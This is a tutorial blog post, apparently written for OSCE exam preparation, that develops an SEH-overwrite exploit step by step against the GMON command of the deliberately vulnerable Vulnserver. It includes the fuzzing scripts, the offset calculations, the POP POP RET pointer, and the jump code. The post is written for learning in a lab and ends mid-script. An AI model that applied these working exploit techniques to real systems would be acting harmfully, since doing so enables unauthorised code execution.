CTP/OSCE Prep – ‘GMON’ SEH Based Overflow in Vulnserver

18 minute read

Introduction

This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:

  • fuzzing,
  • vanilla EIP overwrite,
  • SEH overwrite, and
  • egghunters.

Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!

In this particular post, we will become acquainted with an SEH-based overflow with the GMON command/parameter in Vulnserver.

If you have not already done so, please read the first post of this series so that you can setup your environment, setup and use boofuzz, and become acquainted with some of the stack-based overflow concepts that are still relevant in this post. You can do so here.

This post will assume the reader is already familiar with how to attach processes in Immunity, use boofuzz, search for bad characters, and other knowledge domains covered in the first post of the series.

What is an SEH-based Overflow?

If you need some background information on what an SEH-based overflow entails, the Corelan materials on the topic are great.

Essentially what we need to know is that certain programs, when created, account for errors in execution by instituting error handlers which will allow a program to exit or stop gracefully when an error occurs. According to Corelan:

“Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches an exception, you’ll see a “xxx has encountered a problem and needs to close” popup. This is often the result of the default handler kicking in. It is obvious that, in order to write stable software, one should try to use development language specific exception handlers, and only rely on the windows default SEH as a last resort. When using language EH’s, the necessary links and calls to the exception handling code are generate in accordance with the underlying OS. (and when no exception handlers are used, or when the available exception handlers cannot process the exception, the Windows SEH will be used. (UnhandledExceptionFilter)). So in the event an error or illegal instruction occurs, the application will get a chance to catch the exception and do something with it. If no exception handler is defined in the application, the OS takes over, catches the exception, shows the popup (asking you to Send Error Report to MS).”

We can visualize how these SEH ‘record/handler’ components exist on the stack, culminating with the Microsoft OS level exception handler at 0xFFFFFF, with Corelan’s visual aids:

To get a better understanding of TEB and FS:[0], let us again consult the outstanding Corelan materials:

“At the top of the main data block (the data block of the application’s “main” function, or TEB (Thread Environment Block) / TIB (Thread Information Block)), a pointer to the top of the SEH chain is placed. This SEH chain is often called the FS:[0] chain as well. So, on Intel machines, when looking at the disassembled SEH code, you will see an instruction to move DWORD ptr from FS:[0]. This ensures that the exception handler is set up for the thread and will be able to catch errors when they occur. The opcode for this instruction is 64A100000000. If you cannot find this opcode, the application/thread may not have exception handling at all…<snip> …The bottom of the SEH chain is indicated by FFFFFFFF. This will trigger an improper termination of the program (and the OS handler will kick in)”

The values and memory addresses in the second visual aid come from compiling and debugging the following C source code:

#include
#include<string.h>
#include

int ExceptionHandler(void);
int main(int argc,char *argv[]){

char temp[512];

printf("Application launched");

 __try {

    strcpy(temp,argv[1]);

    } __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}

The last bit of information we will pluck from the Corelan materials is the following:

“In other words, the payload must do the following things:

  • cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in
  • overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)
  • overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.
  • The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten ‘pointer to next SEH record’ will jump to it).”

“A typical payload will look like this

[Junk][nSEH][SEH][Nop-Shellcode]

Where nSEH = the jump to the shellcode, and SEH is a reference to a pop pop ret

Make sure to pick a universal address for overwriting the SEH. Ideally, try to find a good sequence in one of the dll’s from the application itself.”

I’ve tried to capture the crucial points from the Corelan material, but it’s difficult without just copy/pasting the entire web page. Please do yourself a favor and read the post in its entirety if you are new to SEH-based exploits.

Now that we have some level of understanding of how SEH’s reside on the stack, their sub-components, their occupation of memory-space, and what our exploit should accomplish at a high-level, we can begin fuzzing Vulnserver for an opportunity to develop an SEH-based overflow.

Boofuzzing GMON

In a real life scenario, we would be fuzzing all of the commands offered by Vulnserver, but to save some time I’ve narrowed our search for an SEH-based exploit to the GMON parameter. Fortunately, our boofuzz script won’t have to change much from the our script in the first post of the series. We can use the following script:

#!/usr/bin/python

from boofuzz import *

host = '192.168.1.201'	#windows VM
port = 9999		#vulnserver port

def main():
	
	session = Session(target = Target(connection = SocketConnection(host, port, proto='tcp')))
	
	s_initialize("GMON")	#just giving our session a name, "GMON"

    	s_string("GMON", fuzzable = False)	#these strings are fuzzable by default, so here instead of blank, we specify 'false'
    	s_delim(" ", fuzzable = False)		#we don't want to fuzz the space between "GMON" and our arg
   	s_string("FUZZ")			#This value is arbitrary as we did not specify 'False' for fuzzable. Boofuzz will fuzz this string now
 
        session.connect(s_get("GMON"))		#having our 'session' variable connect following the guidelines we established in "GMON"
    	session.fuzz()				#calling this function actually performs the fuzzing

if __name__ == "__main__":
    main()

Sending our boofuzz script to Vulnserver nets us this in Immunity:

Pay special attention to the ‘use Shift+F7/F8/F9 to pass exception to program’ message at the bottom of the screen. We see that ECX and EBP have been overwritten with B chars. This seems to align with the 3rd fuzzing payload sent with boofuzz when we look through our command line output on our remote attacker. We can see the following in our command line:

[2019-05-25 19:30:13,689] Test Case: 3: GMON.no-name.3
[2019-05-25 19:30:13,689]     Info: Type: String. Default value: 'FUZZ'. Case 3 of 1441 overall.
[2019-05-25 19:30:13,689]     Info: Opening target connection (192.168.1.201:9999)...
[2019-05-25 19:30:13,690]     Info: Connection opened.
[2019-05-25 19:30:13,691]   Test Step: Fuzzing Node 'GMON'
[2019-05-25 19:30:13,691]     Info: Sending 5012 bytes...
[2019-05-25 19:30:13,691]     Transmitted 5012 bytes: 47 4d 4f 4e 20 2f 2e 2e 2e 2f 42 42 42 42 42 42 42 42 42 42 42 42...<snip>...00 00 'GMON /.../BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...<snip>...BBBBBBBBB\x00\x00

Let’s use Shift + F9 to pass an exception to the program.

Now this is looking more familiar to us, EIP has been overwritten by our B values. You will also notice that the registers we previously were able to overwrite have been XOR‘d against themselves and therefore zeroed out. If you read the Corelan materials, this is explained as a defense mechanism to stop malicious payloads using these overwritten registers to jump straight to shellcode. In fact, the Corelan materials specify that the very technique that we’re using/learning in this post is a direct response and bypass to this very measure.

But why does EIP now hold 42424242? Let’s go back to the point in our fuzzing when we first crashed the program and go to View and then SEH chain, we get this:

So when we initially overflowed the program, we were able to overwrite both the “Pointer to the next SEH record” and the “Pointer to the Exception Handler.” So since EIP is simply telling the program the address of the next instruction, which in this case is specified by the SEH component (which we just verified both subcomponents are currently 42424242), the EIP is 42424242.

At this point, we are done with boofuzz and need to verify that we can overwrite the SEH components with an exploit script.

Exploit Development Begins

Let’s develop our first exploit salvo to replicate the 5012 bytes sent by boofuzz to see if we can replicate the SEH component overwrite. Going back to our terminal output from boofuzz we see that the first portion of our fuzzing string was Transmitted 5012 bytes: 47 4d 4f 4e 20 2f 2e 2e 2e 2f. Let’s hardcode this beginning portion into our exploit code by translating these hex representations into their ASCII counterparts which gives us: GMON /.../.

So we have the following exploit working so far:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

buffer = "B" * 5012

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

Running this against Vulnserver gives us the exact same SEH chain readout in Immunity. So far so good. We’ve confirmed we can get the application to crash in this way without the fuzzer.

Now we need to determine where in our string this SEH chain overwrite occurs. We will use the !mona pc 5012 command in Immunity to have Mona generate a cyclical string of data for us and add that as our payload and run it once more.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

If we run this, we get the following SEH chain values in Immunity:

Let’s feed these values to Mona so she can tell us where they reside in our cyclical data string with the !mona po <value> command. Mona tells us that the offsets for these values are: !mona po 336E4532 = 3518 and !mona po 6E45316E = 3514. This matches up with what we learned from Corelan, that these two values would be 4 bytes apart.

nSeh is going to correspond with 3514, and

Seh is going to correspond with 3518.

Think back to our component diagrams from Corelan:

  • Pointer to next SEH record (nSeh)
  • Current SE Handler (Seh)

This makes sense if you remember that they are residing in the stack and the stack address space grows as it descends. Let’s verify everything by making our Junk payload to get to the SEH overwrites A values, nSeh will be B values, Seh will be C values, and we can leave the rest of the buffer as D.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

nSeh = 'BBBB'
Seh = 'CCCC' 

buffer = 'A' * 3514
buffer += nSeh
buffer += Seh
buffer += 'C' * (5012 - len(buffer))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

This works beautifully and we are greeted with the following SEH chain values:

Checking for Bad Characters

Let’s build some good habits here and look for bad characters. We will create a variable called badchar in our exploit script and place it inside the A buffer area and see if any get corrupted in memory. We will also take \x00 out of the string of characters since it is almost always a bad character.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

badchar = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

nSeh = 'BBBB'
Seh = 'CCCC' 

buffer = 'A' * (3514 - len(badchar))
buffer += badchar
buffer += nSeh
buffer += Seh
buffer += 'C' * (5012 - len(buffer))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

When we run this against Immunity, go to the bottom right panel and right click on the second instance of ASCII "GMON /.../AAAAA... and select Follow in Dump. From here, we can scroll down in the bottom left panel and look at the hex dump of the stack and find where our string of A values ends and our badchar begins. As you can see from the screen shot, the sequence is intact and immediately goes to our BBBB values for our nSeh. Looks like the only bad character was \x00!

POP POP RET Much?

If you remember back to our Corelan diagrams, we are currently sitting in that ‘Current SE Handler’ component of the SEH chain and need to POP POP RET our way into the ‘Pointer to the next SEH record’. Let’s turn to a great explainer on POP POP RET by Dimitrios Kalemis where he states, “Each time a POP <register> occurs, ESP is moved towards higher addresses by one position (1 position = 4 bytes for a 32-bit architecture). Each time a RET occurs, the contents of the address ESP points at are put in EIP and executed (also ESP is moved, but this is not important here).”

So previously, the SEH record, which comrpises two 4 byte entities (refer to diagram if confused), had been placed on the stack so that ESP + 8 was pointing to the address of the ‘Pointer to the next SEH record’.

So if we can get ‘Current SE Handler’, which is where we are currently living when we pass an exception to the program in Immunity (right now we have it filled with C values), to execute a POP (move up 4 bytes) POP (move up 4 bytes) RET (store this address in EIP as the next instruction to execute) we can take over control of how code executes in this program.

Dimitrios explains the process beautifully in his post:

  • “So, execution begins at address 10 20 30 40.
  • Before the first POP is executed, ESP points at 00 00 50 00.
  • After the first POP is executed, ESP points at 00 00 50 04.
  • After the second POP is executed, ESP points at 00 00 50 08.
  • After the RET, EIP points at 00 00 60 40,
  • which are the contents of the address 00 00 50 08 ESP pointed at.
  • So, execution will continue at 00 00 60 40.
  • So, the instruction EB 06 is executed, which is a 6-byte jump to 00 00 60 48, the beginning of the shellcode. Thus we have a successful exploit.”

Let’s use Mona to find our POP POP RET instruction inside Vulnserver with the !mona seh command. Mona, our trusty exploit sidekick who does all the hard work because we’re just script kiddies standing on the shoulders of giants, finds 18 pointers to POP POP RET sequences inside Vulnserver. Let’s use the first result at 0x625010b4.

This address value will replace our Seh variable in our python exploit script (keeping in mind Windows is of the Little Endian variety and the address will need to be placed in reverse order).

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

nSeh = 'BBBB'
Seh = '\xb4\x10\x50\x62' 

buffer = 'A' * 3514
buffer += nSeh
buffer += Seh
buffer += 'C' * (5012 - len(buffer))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()

Let’s throw our exploit at Vulnserver and see if the Current SEH value reflects the location of the POP POP RET we found in the essfunc.dll.

Looks awesome, now right click that line and set a breakpoint either with F2 or through the GUI. Next, pass the exception to the program with Shift + F9, and let’s examine next instructions step by step with F7.

Once we get through our POP POP RET we see that the EIP is pointing to a new location and the opcodes there are INC EDX x4. What is the hex equivalent for these opcodes? 42…which is what we left as the value for nSeh, so we have succeeded in redirecting the execution flow of the program! We have these 4 bytes to work with to further our goals.

Now, we can’t squeeze shellcode into these 4 bytes, it’s not enough space. But we can possibly formulate some jumpcode to jump somewhere else in memory and try for shellcode there.

Jump to Shellcode

Let’s see what the stack looks like around our home at the current EIP at 0176FFC4:

As you can see, we don’t have far to go to reach our C values on the stack. This part of the buffer gives a little bit more room to work with although still note enough for shellcode. But we can jump to the C buffer and then use it to jump back up the stack to somewhere in our very large A buffer in which we’ll place our shellcode.

To move from where we are, in address space 0176FFC4, we can execute a short jump (opcode EB) since it’s only two bytes and then give it the value 06 to move forward down the stack 6 bytes.

Why 6 bytes? So in our nSeh space, which is 4 bytes, we need to place a two byte operation \xeb\x06, but we still have two more bytes to fill, so let’s fill these with \x90 NOPs. So now our nSeh will be \xeb\x06\x90\x90. But because we are in Little Endian, this will be placed on the stack in the following order: 909006EB and be executed from right to left. So we need to jump 6 bytes to clear the two NOP bytes (2) + the SE handler bytes (4).

Our stack and operations will look like this:

So now we can put code at the beginning of our C buffer and have it execute. Our C buffer isn’t quite large enough for shellcode though. What we do have is an extremely large A buffer, and if we could somehow place our shellcode there and then jump to it, we would have our exploit fully functional.

To jump back, we can prepare a register hold the address of some shellcode in our A buffer and then jump to it. Once we land in our C buffer, ESP is pointed at 0188ECA4.

Let’s use some Assembly to pop ESP into a register, we’ll use EAX, and then add to it until it’s in at an address within our A buffer and then we can simply CALL EAX and execute our shellcode. Our A buffer begins at 0188F20A and ends at 0188FFC3 just before our nSeh characters.

First we need to figure out the offset from where ESP is to the beginning of our A buffer is, we can use Offset.py for this.

root@kali:~/ # python offset.py                                                           
Enter Address #1: 0188eca4
Enter Address #2: 0188f20a
[+] Hex offset: 0x566
[+] Decimal offset: 1382

Offset tells us that our current ESP location is 1382 bytes below (above visually in the debugger) the beginning of our A buffer, so we need to add 1382 bytes to it. Let’s use the nasm shell located at /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb to get the opcodes. First we need to push ESP and then pop it into EAX.

nasm > push esp
00000000  54                push esp
nasm > pop eax
00000000  58                pop eax

Next, we need to ADD AX, 0x566. If we were to add 0x566 to EAX itself, since EAX is a 32-bit value, we would get 00 instances in our output which we can’t have. We have to instead use AX which is a 16-bit component of EAX. We can compare both methods below in the nasm shell.

nasm > add ax, 0x566
00000000  66056605          add ax,0x566
nasm > add eax, 0x566
00000000  0566050000        add eax,0x566

As you can see, we get two null bytes in the ADD EAX opcodes and no null bytes in the ADD AX opcodes. Now all we need is JMP EAX.

nasm > jmp eax
00000000  FFE0              jmp eax

All in all, our opcodes are: \x54\x58\x66\x05\x66\x05\xff\xe0. Very simply, we are:

push esp
pop eax
add ax, 0x566
jmp eax

Let’s add these values as the variable jumpback and place it at the top of our C buffer. Our exploit code now looks like this:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

Seh = '\x2b\x17\x50\x62'
nSeh = '\xeb\x06\x90\x90'
jumpback = '\x54\x58\x66\x05\x66\x05\xff\xe0'

buffer = 'A' * 3514
buffer += nSeh
buffer += Seh
buffer += jumpback
buffer += 'C' * (5012 - len(buffer))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
